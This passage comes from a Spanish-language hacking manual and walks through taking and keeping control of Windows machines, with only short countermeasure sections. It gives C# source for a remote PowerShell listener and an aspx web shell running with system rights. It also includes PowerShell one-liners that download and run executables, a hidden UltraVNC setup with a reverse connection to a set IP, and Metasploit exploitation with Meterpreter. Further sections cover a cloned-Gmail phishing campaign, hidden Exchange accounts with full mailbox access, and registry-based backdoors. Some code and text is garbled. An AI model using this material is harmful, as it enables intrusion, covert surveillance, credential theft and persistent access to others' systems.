namespace NetCommand { class Program { static private int port = 666; static private string ejecutable = "powershell.exe"; static void Main(string[] args) { if (args.Length > 0) { int.TryParse(args[0],out port); if (args.Length > 1) { ejecutable = args[1]; } } TcpListener servidor = new TcpListener(port); serveur.Start(); Byte[] dato = new Byte[512]; String command = null; while (true) { TcpClient cliente = servidor.AcceptTcpClient(); NetworkStream flujo = cliente.GetStream(); Console.WriteLine("Connected from " + cliente.Client.RemoteEndPoint.ToString() + " to the server port "

b.

Compilar la aplicación

Para compilar la aplicación, acceda al directorio del framework .NET y ejecute el siguiente comando:

cd Windows\Microsoft.NET\Framework\v2.0.50727 csc /out:c:\temp\netcmd.exe c:\temp\netcmd.txt Es posible que se muestre un mensaje de aviso al compilar. Ignórelo.

Puede modificar la aplicación para que no sea visible, para que arranque automáticamente o para que su nombre sea más discreto. Puede también transformarla en un servicio de Windows para disponer de los permisos de sistema del equipo objetivo. Todo esto está descrito en el capítulo Desarrollar sus propias herramientas de hacking con numerosos ejemplos.

c. Usar el servidor

Una vez arrancada la aplicación, se abre y escucha por defecto en el puerto 666. Los comandos son ejecutados por el PowerShell, a diferencia de Telnet, que usa CMD por defecto.

Para arrancar la aplicación de servidor con un determinado puerto, añada el puerto después del ejecutable:

Netcmd.exe 5985

El

servidor escucha en el puerto 5985, un puerto normalmente previsto para WinRM. Este puerto está abierto por defecto en Windows Server 2012 aun sin estar activado WinRM.

Si desea usar cmd.exe en vez de PowerShell, indique el puerto y después el nombre de la aplicación:

Netcmd.exe 5985 cmd.exe

El

usuario pirateado por este programa no necesita permisos especiales para ejecutar el servidor. Bastará con modificar una aplicación o un acceso directo para que pueda conectarse al equipo remoto.

d. Conectarse al servidor

Para ejecutar comandos remotamente, arranque Telnet con la IP o el nombre del equipo y el puerto como parámetros:

Telnet 192.168.0.123 666 Una vez conectado, escriba un comando y pulse [Intro]. El primero no se muestra, pero los siguientes, sí. Conéctese y escriba un comando PowerShell, como

ls. Sabrá así en qué carpeta se encuentra su aplicación.

Todos los comandos PowerShell están disponibles, pero si desea utilizar variables, debe escribir una sola línea y separar los comandos por el carácter «;».

Si utiliza PuTTY:

El siguiente ejemplo demuestra el uso de un objeto .NET para realizar la descarga de un programa desde Internet al objetivo.

$w = New-Object System.Net.WebClient;$w.DownloadFile ("http://www.sitioweb.com/app.exe","c:\users\public\app.exe") Una vez descargada la aplicación, puede ejecutarla indicando la ruta en la consola.

Verifique si la aplicación se ha descargado:

Ls c:\users\public

Ejecute la aplicación:

C:\users\public\app.exe En una red local, también puede copiar ficheros desde una carpeta compartida en el servidor o desde su equipo. Imaginemos que existe una carpeta pública a la que todo el mundo tiene acceso, por ejemploN:\public\.

Vamos a verificar si el usuario tiene acceso a la unidad:

Net use

Si la

lista está vacía, añadiremos la unidad, después una carpeta y copiaremos los ficheros. Al final eliminaremos la unidad creada.

net use n: \\servidor\compartido

Al

mkdir carpeta xcopy source n:\carpeta\destino /y net use n : /delete /y

escribir los comandos, acuérdese de añadir la confirmación automática, muchas veces con confirm :true.

/y o en PowerShell -

Habrá observado que este sencillo desarrollo de un programa como netcmd.exe tiene un enorme potencial en términos de pirateo. Puede, por ejemplo, descargar VNC server en el equipo objetivo y conectarse.

El programa que acaba de probar es una imitación de una herramienta conocida como netcat. Netcat, como NetCommand o Telnet, solicita una conexión a un equipo remoto y solo permite el uso de la línea de comandos.

3. Uso de una herramienta de escritorio remoto a. El escritorio remoto (RDP)

El escritorio remoto (RDP) ya ha sido objeto de una demostración de pirateo; encontrará las explicaciones en los primeros capítulos de este libro. Una vez esté el equipo pirateado, puede conectarse a él sin login. Pulsando cinco veces la tecla [Mayús], la ventana de comandos se abre con permisos de sistema.

En el capítulo Superar las restricciones de software, encontrará una explicación de cómo rodear la solicitud de autenticación. Esta técnica no permite ver lo que hace el usuario, pero le da acceso a la sesión remotamente, aunque el usuario haya bloqueado su puesto de trabajo.

b. VNC con conexión directa

Si el equipo no tiene activado el escritorio remoto, no se podrá manipular el equipo objetivo si no se dispone de permisos de administrador. Vamos a utilizar otro programa. UltraVNC nos permitirá conectarnos y ver el escritorio remoto del usuario. Necesita por defecto estar instalado y un icono se muestra al usuario. Esto no resulta muy discreto y es poco interesante para nuestros propósitos. Descargue UltraVNC en el sitio web: http://www.uvnc.com/ Abra el fichero zip y extraiga únicamente winvnc.exe y vncviewer.exe.

Los demás ficheros son plug-ins que no usaremos. Abra la aplicación winvnc.exe y haga clic con el botón derecho del ratón en el icono del servidor en el menú Admin Properties.

Aquí puede definir los parámetros del servidor. Haga clic en DisableTrayIcon, modifique la contraseña y defina si es preciso otro puerto, como el 5985, y haga clic en OK.

Esto creará un fichero de configuración, UltraVNC.ini. Si al arrancar winvnc.exe este fichero se encuentra en el mismo directorio, hará que se esconda el icono de VNS al usuario. Por lo tanto, solo son necesarios dos ficheros para ejecutar VNC en este modo.

Una vez lanzada la aplicación en el equipo objetivo, puede conectarse al escritorio remoto del usuario usando la segunda aplicación vncviewer.exe. Abra el programa e introduzca el nombre del equipo o su IP y el puerto si lo ha modificado.

Una vez establecida la conexión, debe indicar la contraseña definida en la configuración del servidor.

Ahora tiene acceso al escritorio y puede ver lo que el usuario hace, todo esto discretamente.

c. VNC en conexión inversa

Hemos podido conectarnos al equipo objetivo, pero esto solo es posible si el cortafuegos y el puerto indicado están abiertos. No siempre resulta evidente encontrar un puerto de entrada autorizado, sobre todo si el administrador ha configurado políticas de grupo eficaces para permitir solo lo necesario. Debemos, para paliar este problema, invertir el sentido de la conexión. Por defecto, todas las conexiones salientes están permitidas. Para invertir el sentido de la conexión, activaremos la escucha en el cliente y pediremos al servidor que se conecte a ella.

Para pedir al servidor que se conecte automáticamente al cliente:

winvnc.exe -autoreconnect -connect 91.121.24.95::8080 Arrancando así el servidor, se conectará automáticamente al cliente y reintentará la conexión si no la consigue.

Para activar la escucha en el cliente, arránquelo con los siguientes parámetros:

vncviewer.exe -listen 8080 Una vez el servidor haya arrancado en el equipo objetivo, solo tendrá que esperar unos instantes para ver el escritorio remoto del usuario.

Las técnicas para crear un engaño e incitar a un usuario a caer en la trampa han sido explicadas en los capítulos anteriores; los pasos completos no se explicarán, por lo tanto, en este capítulo.

Use Iexpress, cree un paquete con su aplicación y haga que la víctima lo descargue por medio de un acceso directo usando PowerShell, o cree un acceso directo trampa en un fichero zip que apunte a la aplicación almacenada en una carpeta compartida de la red que sea accesible por el usuario.

4. Contramedidas

La directriz de estas aplicaciones es el uso de la red. Debe, por lo tanto, impedir absolutamente que una aplicación no autorizada pueda gestionar el tráfico entrante o saliente. Desde Windows Vista, Microsoft integra un cortafuegos potente capaz de bloquear tanto el tráfico entrante como el saliente. Basta con configurarlo para que solo autorice lo necesario para la empresa. Para ello, use las políticas de grupo para crear reglas precisas que integren si es posible los equipos origen, los equipos destino, así como las aplicaciones autorizadas. Para saber lo que es útil o no, puede, antes de bloquearlo todo, loguear la actividad del cortafuegos y analizarla para crear las reglas adaptadas a su entorno.

Tomar el control mediante vulnerabilidades del sistema operativo o de las aplicaciones El sistema operativo y las aplicaciones no son sino líneas de código compiladas por humanos. Dado que los errores son humanos, tarde o temprano aparecen en las aplicaciones creadas por nuestros queridos desarrolladores.

1. Las vulnerabilidades del sistema operativo y de las aplicaciones

Las vulnerabilidades son puntos débiles detectados que pueden ser usados por un pirata para comprometer un sistema a través de una debilidad del sistema operativo o de una aplicación instalada. Las vulnerabilidades, una vez detectadas, son la mayor parte de las veces comunicadas al proveedor del programa, que las corrige. Crea un paquete correctivo (o patch) que distribuye a todos los que usan su programa. Por norma general, el patch impide la explotación de esta vulnerabilidad por parte de una persona malintencionada. Algunas veces, las vulnerabilidades descubiertas se revenden a los piratas para convertirse en lo que se llama una vulnerabilidad Zero-day, una vulnerabilidad que no dispone todavía de un patch que proteja la aplicación o el sistema operativo. Este tipo de vulnerabilidad es muy eficaz, ya que, aunque el sistema operativo esté actualizado, puede sucumbir a un ataque.

Los piratas informáticos realizan también ingeniería inversa sobre los patchs distribuidos por los proveedores para buscar el error solucionado, con el objetivo de poder explotarlo en sistemas operativos y aplicaciones que no estén actualizados.

a. Base de datos CVE

Las vulnerabilidades se referencian en una base de datos. Estas bases de datos se llaman CVE, deCommon Vulnerabilities and Exposures. El gobierno americano las utiliza para transmitir las informaciones de las vulnerabilidades a la mayor cantidad posible de personas. Puede abonarse a reportes para estar informado en cuanto una vulnerabilidad es descubierta.

Puede consultar las CVE en la dirección: http://cve.mitre.org/cve/

Estas informaciones pueden ayudarnos a saber si los sistemas operativos o las aplicaciones usadas en nuestra empresa podrían estar comprometidos. Una búsqueda le da rápidamente información sobre las últimas vulnerabilidades publicadas, con el impacto, el riesgo al que está expuesto, si el ataque puede realizarse por red, si es necesario autenticarse, así como la complejidad de realización de un ataque. La base de datos da en general un enlace hacia el patch que corrige la vulnerabilidad.

Esta herramienta puede servir para proteger y mantener el entorno de trabajo, pero también puede servir para preparar un ataque.

b. Búsqueda de vulnerabilidades con Nessus

Es complicado conocer las versiones y actualizaciones de los sistemas operativos y las aplicaciones que deseamos atacar. Para encontrar las vulnerabilidades en una red, es más sencillo usar un software que se encargue de realizar el inventario por nosotros.

Existen multitud de herramientas; las más conocidas y completas son Nessus y Openvas. Sin embargo, de estas dos herramientas, solo una se puede instalar en Windows: es Nessus.

Una vez instalada, debe definir un nombre de usuario y una contraseña. Si la página web no se muestra, abra el navegador con la URL https://localhost:8834.

Después debe inscribirse para usar el programa. ¡Cuidado! Solo la versión Home es gratuita.

Una vez se ha registrado, la aplicación descarga las últimas actualizaciones. Puede autenticarse con las informaciones indicadas durante la primera configuración.

En el menú, acceda a Scan, y después a New Scan. Dé un nombre, seleccione la estrategiaInternal Network Scan y después la IP, el nombre o la red que se ha de escanear. Pulse el botónLaunch.

Espere a que el escaneo se termine y acceda a la pestaña Results para abrir el informe del escaneo.

Descubrirá los equipos, así como las vulnerabilidades detectadas. Algunas pueden explotarse directamente para conectarse de forma remota al objetivo.

Nessus es una herramienta interesante para saber si la infraestructura de la empresa está actualizada. Los servidores están generalmente menos actualizados que los PC. Cuando un servicio (SharePoint, Exchange, Lync, Terminal Server o también los servidores web) funciona, solo algunas veces se actualiza. Estos servicios son, por lo tanto, objetivos primarios para un ataque desde el interior de la empresa.

2. Metasploit y Armitage

El uso de una vulnerabilidad es completamente distinto al de una aplicación trampa, ya que en el caso de una vulnerabilidad el usuario no necesita forzosamente intervenir. Una conexión en un equipo que escucha un servicio no actualizado, la visita de un sitio web o la apertura de un PDF corrompido pueden bastar para comprometer un equipo.

Metasploit es una plataforma de búsqueda de explotación de vulnerabili-dades de los sistemas operativos y las aplicaciones. Sirve de herramienta de auditoría y prueba o de herramienta de ataque. Se actualiza con frecuencia y permite analizar un equipo, propone ataques y entrega payloads. Un payload es lo que vamos a realizar con el ataque, como ejecutar comandos remotos, conectarse al servidor VNC para obtener el escritorio de la víctima, copiar ficheros, etc.

a. Instalar Metasploit en Windows

Antes de instalar Metasploit y Armitage, cree una carpeta específica y desactive el antivirus. Si no lo hace, al descomprimir el programa, su antivirus lo detectará y eliminará la mayor parte de los «exploits». Debe desactivar también el cortafuegos para estar seguro de que no le va a perjudicar al realizar un ataque. Cree el directorio C:\Metasploit\ y descargue Metasploit en la dirección:http://www.metasploit.com/ Introduzca la ruta de la instalación indicando la carpeta que acaba de crear:

Defina el puerto de escucha del servicio:

Avance al siguiente paso y deje que el programa instale sus ficheros, bases de datos y scripts.

Metasploit está ahora disponible en la URL definida al elegir el puerto de escucha: https://localhost:3790/ Debe indicar un nombre de usuario y una contraseña:

Debe activar el producto haciendo clic en GET PRODUCT KEY.

Puede elegir entre la versión de pago, más completa y de prueba durante 7 días, y la versión Community, gratuita. En el caso de un ataque breve, puede elegir la versión de prueba. Pero si desea usar Metasploit más tiempo, elija la versión Community.

Regístrese y active el producto. Después podrá acceder a la interfaz de Metasploit. Una vez instalado, acceda a la carpeta C:\Metasploit\ y ejecute el script dev_msfupdate.bat de actualización de la plataforma para conseguir los últimos exploits.

b. Instalar Armitage en Windows

Las versiones recientes de Metasploit proponen una interfaz gratuita mediante un sitio web dinámico, lo que no ocurría en versiones anteriores. El producto results, sin embargo, complejo e incompleto debido a esta interfaz gráfica. Armitage es una interfaz completa y simple que soporta hasta hoy todas las versiones de Metasploit. Vamos a usar esta interfaz; le facilita la introducción al Framework Metasploit, que merece un libro para él solo.

Puede descargar el zip en la siguiente dirección: http://www.fastandeasyhacking.com/download

Puede extraer el fichero zip en la carpeta C:\Metasploit\armitage. De esta manera el antivirus no la borrará.

Al arrancar Armitage, le pedirá conectarse a Metasploit, así como el directorio de instalación de este último.

c. Analizar una red con Armitage

Armitage es una interfaz gráfica para Metasploit. No funciona sin este último. Un análisis con Armitage utiliza Nmap o la consola Metasploit en segundo plano. Para iniciar un escaneo de los equipos de su red de la empresa, acceda al menú Hosts - Nmap Scan y haga clic en Intense Scan.

Indique la IP o la subred que Nmap debe analizar:

Se abre una consola en segundo plano y envía el resultado a Metasploit.

Una vez acabado el escaneo, puede analizar los equipos buscando vulnerabilidades directamente explotables. Para ello, acceda al menú Attacks - Find Attacks.

Ahora puede hacer clic con el botón derecho del ratón en un equipo y ver los ataques potenciales que puede llevar a cabo.

Los posibles ataques no han sido probados. Solo es un informe del sistema operativo y el puerto detectado en el escaneo.

d. Utilizar una vulnerabilidad del sistema operativo o de una aplicación con Armitage

Desde Windows 7, las vulnerabilidades explotables son escasas. Si el equipo que desea atacar es una versión poco actualizada de Windows XP, es posible que tenga una oportunidad de ataque directo. Para ello, haga clic con el botón derecho del ratón en el icono del equipo con XP y seleccione Attack - smb ms10_061_spoolss.

Se abre una ventana donde se le explica qué vulnerabilidad va a usar el exploit, y le pregunta dónde debe conectarse el cliente en respuesta. Este tipo de ataque tiene pocas posibilidades de funcionar en Windows 7 o Windows 8, a menos que se descubra una nueva vulnerabilidad en uno de los protocolos de Windows y que el cortafuegos no proteja el servicio en cuestión.

Las vulnerabilidades que más se pueden explotar en Windows 7 y versiones posteriores son las de tipo aplicación. El objetivo de este tipo de ataque es proponer a un usuario visitar una web en particular. Esta web es una web explotable por una vulnerabilidad del navegador o de alguna de las aplicaciones que el navegador utiliza para comodidad del usuario, como Adobe Flash, Adobe Acrobat Reader, Java, etc. Para piratear uno de estos sistemas, vamos a usar una vulnerabilidad Java del navegador. Hubiésemos podido elegir Adobe Flash o directamente una vulnerabilidad del navegador.

Vaya a la parte izquierda, abra exploit - multi - browser y seleccione java_jre17_jmxbean. Este código afecta Java hasta la versión 1.7, de enero de 2013. La versión 2 afecta las versiones posteriores a la actualización de enero de 2013. Debe estimar la versión instalada en el equipo objetivo.

Configure el valor de SRVHOST con su dirección IP y defina el valor SRVPORT con el puerto de su elección. Puede configurar el valor URIPATH con un valor que le diga algo al usuario.

El servidor está creado con el exploit elegido y espera peticiones de conexión.

Si Java no se ha actualizado, es posible que le pregunte si desea actualizarlo ahora. Desgraciadamente para el usuario, la mayor parte de las veces las actualizaciones de Java piden permisos de administrador.

Si el usuario continua, será infectado por el applet de Java sin confirmación.

El equipo cambia de imagen; está bajo el control de Metasploit.

Haga clic con el botón derecho del ratón en el equipo contaminado y elija Meterpreter1 - Explorey Show Processes. Elija un proceso y haga clic en Inject o Migrate. El objetivo de estas operaciones es propagar la infección en otro proceso, ya que si el usuario cierra el navegador la conexión se pierde. Solo podrá migrar la infección a un proceso del cual el usuario que ha abierto la página sea propietario.

Para manipular el equipo objetivo, haga clic en Interact y después en Command Shell o enMeterpreter Shell.

La línea de comandos le permitirá ejecutar instrucciones en el PC.

Puede realizar una captura de pantalla desde el menú. Otras acciones están disponibles, dependiendo del sistema operativo atacado, en Meterpreter1 - Explore - Post Modules.

Si el equipo objetivo usa un antivirus actualizado, es probable que el exploit utilizado sea detectado por este.

Este método puede parecer muy simple y práctico, pero es fácilmente detectado por un antivirus. La única manera de usar este tipo de exploits es atacar equipos que no están bien actualizados o usar unexploit en cuanto se publique, antes de que los equipos y antivirus hayan sido actualizados.

e. Atacar desde la interfaz web de Metasploit

La interfaz web puede parecer complicada. Sin embargo, resulta relativamente sencilla y rápida, sobre todo si desea empezar desde el ataque. Podrá aprovechar para ver que todo lo realizado con Armitage se puede hacer desde el sitio web.

Conéctese al sitio web: https://localhost:3790/ Vaya al menú Modules. Busque según el ataque; en nuestro caso, escriba Java.

Los ataques se presentan por fecha de publicación, lo que le da una enorme ventaja: puede fácilmente seleccionar la última vulnerabilidad explotable. Seleccione un ataque. Verá la descripción y los parámetros necesarios para llevarlo a cabo.

Encontrará las tareas activas en el menú Tasks.

Haciendo clic en él, verá el detalle de las tareas ejecutadas, así como los posibles resultados. Si una vulnerabilidad ha funcionado, tendrá también acceso al equipo remoto gracias a la consola específica de Metasploit, el Meterpreter.

El uso es, por lo tanto, muy sencillo cuando se parte de un ataque.

f. Utilizar un falso sitio web copiado con Metasploit Pro

Para engañar a un usuario, usaremos las campañas integradas en la versión Pro de Metasploit. ¡Cuidado! Este programa no nos dará la posibilidad de recuperar las informaciones que el usuario ha introducido. Pero aun así resulta muy interesante, ya que dispondrá de los nombres de los que son más débiles y que pueden pasar a ser objetivos futuros. Puede usarlo también para redireccionar directamente al usuario a un sitio web fraudulento después del formulario. Vaya a la URL que ha definido después de la instalación del producto: https://localhost:3790/ Debe activar las funciones de la versión Pro. Para ello, acceda al menú Administration - Software License y descargue los ficheros haciendo clic en GET METASPLOIT PRO TRIAL.

Vaya al menú Campaigns y dele un nombre.

Haga clic en E-Mail y rellene los campos que definirán su dirección de correo electrónico.

Añada víctimas haciendo clic en Choose a Target List, y haga clic en Next. Edite el texto que será el cuerpo del mensaje enviado. Puede usar variables ligadas al usuario objetivo. Haga clic en Save.

Ahora se encuentra de nuevo en el menú de la campaña. Haga clic en el botón Landing Page. Aquí podrá configurar la URL que se usará para alojar el falso sitio web, así como el lugar adonde se redirigirá al usuario después de rellenar el formulario.

Una vez el formulario rellenado, haga clic en Next. Metasploit ha creado un formulario que puede modificar. Le aconsejamos que, en vez de rehacer un formulario existente, elija la opción de arriba a la derecha, Clone Website, que reproducirá un sitio web idéntico según su dirección, como en el ejemplo siguiente, que representa una réplica del sitio web www.gmail.com.

Haga clic en Save una vez terminada la edición.

Ahora debe configurar el servidor de mensajería que enviará el correo electrónico a las víctimas. Haga clic en E-mail Server para configurar el servidor. Indique su servidor Exchange en la medida de lo posible. Si esto no funciona, instala su propio servidor SMTP en su equipo y configure esta parte con Localhost como servidor. Guarde haciendo clic en Save.

Puede modificar las informaciones respecto al servidor web, como su IP y el puerto utilizado, en el menú Web Server.

Una vez la campaña guardada, solo queda enviar el correo electrónico confeccionado a las futuras víctimas haciendo clic en Start. Los correos son enviados y el sitio web espera las conexiones de los usuarios.

Pulsando el botón Findings, verá un informe de los usuarios que han leído el correo, visitado el enlace o rellenado el formulario.

3. Contramedidas

Las vulnerabilidades de los sistemas operativos son en general independientes de la configuración de los equipos y las aplicaciones. Felizmente, la mayoría de los plug-ins de Metasploit se crean utilizando la ingeniería inversa de los patchs publicados por los proveedores, lo que permite muchas veces que las actualizaciones de seguridad se instalen antes de que la herramienta sea eficaz. ¡Cuidado! Entre la salida de una actualización y su utilización para piratear un sistema, basta con un tiempo inferior a una semana.

Sin embargo, ciertas vulnerabilidades no se crean partiendo del patch. Por lo tanto, tiene que detectarlas y bloquear la aplicación afectada antes de que sea el pirata informático quien lo haga. Para ello, puede utilizar Nessus, que permite escanear equipos de su red obteniendo un informe completo de las vulnerabilidades descubiertas. Puede registrarse también en las newsletter de secunia, en la direcciónhttp://Secunia.com, con las cuales recibirá un correo electrónico cada vez que se descubra una nueva vulnerabilidad.

Microsoft propone WSUS como herramienta para gestionar las actualizaciones de forma centralizada para sus productos y sistemas operativos. Le animamos fuertemente a que ponga en marcha este servicio.

Introducción a las puertas traseras activas y pasivas Instalar una puerta trasera consiste en dejar en un equipo pirateado un medio de tomar o retomar el control en el momento oportuno. Una puerta trasera activa permite una entrada directa, como un servicio a la espera de un comando. Una puerta trasera pasiva resulta mucho más sutil. La función no se activa hasta que ocurra algo particular y este modo resulta mucho más discreto. Necesita muchas veces la intervención indirecta del usuario.

Conservar discretamente un acceso a un servidor o a un PC Los métodos que estudiaremos, en esta primera parte, son activos. Vamos a darnos los medios para reconectarnos a un equipo.

1. Puerto de escucha para Terminal Server

Para dejar una puerta de entrada, añadiremos un puerto de escucha en el escritorio remoto. Para añadir un puerto de escucha RDP, basta con exportar la clave de registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Terminal Server\WinStations\RDP-Tcp

Edite el fichero Reg exportado y

modifique el nombre de la clave: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Terminal Server\WinStations\RDP-Tcp2

Modifique el valor de la clave Port Number,

que corresponde al puerto de escucha.

PortNumber=D3E D3E corresponde a 3390 en decimal. Podrá indicar el puerto que desee.

Volvemos a importar el fichero Reg modificado. Después del siguiente reinicio del sistema operativo, existirá un segundo puerto de escucha 3390 para el escritorio remoto. Esta modificación solo tiene sentido si ha modificado el sistema para evitar el login y acceder con permisos de sistema para desac-tivar la autenticación por red, como hemos visto al principio de este libro.

2. Programa .NET

Para conservar el control del equipo, puede usar los programas que hemos trabajado en el capítulo Desarrollar sus propias herramientas de hacking, o también el que hemos visto en el capítulo Tomar el control remotamente. Los medios para guardar el control en un PC son numerosos; basta con planificar su instalación en un ataque inicial.

Conservar discretamente un acceso a un servidor web o de mensajería Los servidores web de una empresa están muchas veces alojados externamente. En ciertos casos, se encuentran en la DMZ, y raramente en la red interna de la empresa. Pero ¿qué pasa con una infraestructura Exchange, SharePoint o Lync? Estas aplicaciones utilizan y hasta necesitan servicios web. Están generalmente protegidas por un cortafuegos y un reverse proxy. Tendrá que esquivar esta posible seguridad.

1. Tener acceso a todas las cuentas de correo electrónico de un servidor Exchange

Estas manipulaciones solo son posibles en la instalación o la administración de estos servicios para una persona interna o un consultor que tenga permisos. Primero debe conseguir los permisos necesarios si desea aplicar estas modificaciones. Aproveche para crear una cuenta de tipo Service escondida en una unidad de organización.

a. Grupo de seguridad

Para tener acceso a las bandejas de los correos de los usuarios en un servidor Exchange, deber conseguir los permisos de administración de las cuentas de correo. Normalmente es el propio usuario quien debe autorizarle para que tenga acceso a su bandeja de entrada. Sin embargo, dos grupos de seguridad tienen el control total sobre todos los directorios del correo de todos los usuarios. Estos grupos son Exchange Servers y Exchange Trusted Subsystem.

Añadiendo su cuenta de usuario a uno de estos grupos, tendrá acceso a los correos electrónicos de toda la empresa. Le aconsejamos el grupo Exchange Trusted Subsystem, ya que no tiene asignado ningún rol en la página de administración de grupos de seguridad de Exchange. Por el contrario, el grupo Exchange Servers permite, además, administrar los servidores.

Para añadir un usuario a este grupo, abra la consola Usuarios y equipos de Active Directory. Vaya a la unidad organizativa específica de Exchange, Microsoft Exchange Security Groups, y añada su cuenta de usuario al grupo Exchange Trusted Subsystem.

Es posible que esto no funcione. En ese caso, deberá asignar los permisos directamente de su cuenta en las carpetas de la cuenta de correo.

Add-mailboxpermission -identity "[email protected]" -user "[email protected]" -accessright fullaccess La aplicación de estos permisos puede tardar hasta 15 minutos. Es posible que no pueda acceder durante este tiempo.

b. Apertura de una cuenta de correo electrónico

Una vez efectuada la modificación, podrá abrir las bandejas de correo y los calendarios que desee. Para ello, entre en la interfaz web de su servidor de correo y acceda con su cuenta.

c. PowerShell

Si crea una cuenta de usuario, puede activar el correo electrónico con el siguiente comando:

Enable-Mailbox -Identity dominio\nombreUsuario -Database Database01 Para conseguir el nombre de la base de datos Exchange, si no lo sabe:

get-mailboxdatabase Para que las informaciones relativas al usuario no aparezcan en la lista global de direcciones de correo:

Set-mailbox -identity "nombre del servicio" -HiddenFromAddressListsEnabled $true Para activar el acceso web:

Set-mailbox -identity "nombre del servicio" -owaEnabled $true Para otorgar a un usuario el acceso completo a otra cuenta de correo:

Add-mailboxpermission -identity "vícitma" -user "su cuenta o

2.

grupo" -accessright fullaccess

Modificar una aplicación web para conservar un acceso desde el exterior

Cuando servidores como Exchange, SharePoint o Lync están conectados al mundo exterior, proponen servicios accesibles desde cualquier punto. Algunos de estos servicios tienen funciones obligatorias para un correcto funcionamiento, como Autodiscover, EWS (Exchange Web Services), Lync Meeting, ABS (Address Book Service) para Lync y muchos otros.

a. Añadir un grupo de aplicaciones

Para tener acceso con permisos de sistema en una aplicación, crearemos un application pool en el servidor IIS (Internet Information Services) donde uno de estos servicios se encuentra instalado. Podemos utilizar un grupo de aplicaciones existente en vez de crear uno, si alguno de estos servicios ya dispone de un pool que utilice permisos de sistema. Para crear uno nuevo, abra la consola de gestión de IIS. Haga clic con el botón derecho del ratón en Grupos de aplicaciones - Agregar grupo de aplicaciones....

Dele un nombre y elija la versión .NET que prefiera. Le aconsejamos la versión .NET 4.0.

Vaya a los parámetros avanzados y modifique la Identidad para reemplazar el valor actual porLocalSystem.

Las aplicaciones que usen este grupo tendrán permisos de sistema en el equipo.

b. Añadir una aplicación web

Para evitar la seguridad de los cortafuegos externos e internos, basta con usar las reglas ya publicadas. En cuanto a esquivar la seguridad de un posible reverse proxy, debe ser más prudente. Si el reverse proxy está bien configurado, no permitirá el acceso a todos los subdirectorios/enlaces de un sitio web publicado.

Pero algunas aplicaciones son complicadas de configurar y, en este caso, el proxy lleva muchas veces la configuración por defecto, lo que permite acceder a todos los directorios.

Vamos a evitar por lo tanto las reglas de seguridad del reverse proxy creando una aplicación web en una existente. Elija una aplicación web existente, como OWA en un servidor Exchange, o MEET o DIALIN en un servidor Lync. Haga clic después en el botón derecho del ratón para añadir una nueva aplicación.

Dele un nombre y una ruta para sus ficheros:

Cambie los parámetros de autenticación para activar solamente el acceso anónimo.

Vamos a probar nuestras modificaciones para comprobar la configuración. Cree un fichero index.html en el directorio c:\temp\cmd.

El sitio web funciona Ya puede probar los cambios accediendo al sitio web:

El sitio web funciona; puede, por lo tanto, mantener un control sobre el servidor.

c. Añadir una página web para ejecutar comandos

El sitio web funciona bien pero, tal y como está, no nos sirve de nada. Crearemos una página aspx que nos permitirá formular comandos PowerShell al servidor, y él los ejecutará y nos mostrará la salida. Abra el Bloc de notas y escriba el código siguiente en un fichero que llamará webcmd.aspx:







protected void Button1_Click(object sender, EventArgs e) { string salida =""; System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "Powershell.exe"; p.StartInfo.Arguments = "/c " + txtcmd.Text; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.UseShellExecute = false; p.Start(); salida = p.StandardOutput.ReadToEnd(); salida += p.StandardError.ReadToEnd(); p.WaitForExit(); txtresult.Text = salida; SetFocus(txtcmd); }

Powershell cmd



Una vez creado el documento, cópielo en el directorio de la aplicación web. Active la navegación de los directorios para la aplicación web.

d. Utilizar el acceso Web PowerShell

Ahora puede ejecutar comandos PowerShell en el servidor remoto con permisos de sistema evitando el cortafuegos y el reverse proxy, cuya función es impedir esto. Basta con acceder a la página web creada. Vaya a la URL siguiente: https://mail.suservidor.es/owa/cmd/webcmd.aspx

Para saber qué módulos están disponibles en el servidor: Get-module -listavailable

Para gestionar los objetos Active Directory, importe el módulo y ejecute el siguiente comando. Puede escribir varios comandos seguidos.

import-module activedirectory; get-aduser -filter *; Para utilizar las funcionalidades de Exchange, añada los snap-in adecuados delante del comando.

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Mailbox Como recordatorio, para descargar desde Internet con PowerShell, basta con usar un objeto .NET de tipo WebClient.

$web = New-Object System.Net.WebClient $web.DownloadFile(’http://web/app.exe’,’c:\temp\app.exe’) Con este comando puede descargar nuevas páginas en el servidor y añadirles scripts más complejos o también aplicaciones potentes para mantener el control sobre todo el entorno.

3. Contramedidas

Sin lugar a dudas, debe analizar regularmente los sitios web de riesgo para detectar posibles puertas traseras dejadas por un consultor o un empleado que se haya ido de la empresa en malas circunstancias. Al finalizar cada proyecto donde se integre personal externo para instalar/configurar servidores de riesgo como Exchange, SharePoint, Lync o también un servidor web, analice el servicio instalado/configurado para garantizar que no existen puertas traseras. Audite regularmente los grupos de seguridad para los grupos de administradores, pero también para los roles Exchange, SQL, Lync, SharePoint, etc.

Conservar discretamente un medio de tomar el control en un PC o un servidor Los métodos pasivos son mucho más discretos que un programa que se queda a la espera de una conexión o que uno se conecta cada minuto a Internet a petición de una orden. Se trata de modificar el sistema operativo de manera que responda únicamente a una petición en particular. Este tipo de cambio, si está ligado a un proceso, solo debe arrancarse en el momento del ataque. De lo contrario, dejaría de ser pasivo. Este tipo de escenario es, por lo tanto, muy complicado de detectar.

1. Añadir un protocolo y trucar la navegación

Lo ideal es poder dar a un usuario un comando que ejecutará sin que se dé cuenta. Para ello añadiremos un protocolo que Internet Explorer entenderá y ejecutará. El cambio deberá realizarse sin necesidad de permisos de administrador. Modificaremos, por lo tanto, el sistema operativo a nivel de usuario.

a. Modificar el registro

Para agregar un protocolo que entienda el sistema operativo, añadiremos una entrada en el registro. Esta entrada particular se utilizará cuando un usuario pulse en un enlace determinado o cuando visite una página modificada que tendrá una redirección a otro enlace trampa. Vamos a crear OC Protocol, que corresponde a «Comando Operacional». Cree el siguiente fichero con el Bloc de notas y guárdelo con el nombre cel.reg.

Windows Registry Editor Version 5.00

Al

[HKEY_CURRENT_USER\Software\Classes\oc] "URL Protocol"="" @="URL:OC Protocol"

[HKEY_CURRENT_USER\Software\Classes\oc\DefaultIcon] @="C:\\windows\\explorer.exe,0"

[HKEY_CURRENT_USER\Software\Classes\oc\shell]

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open]

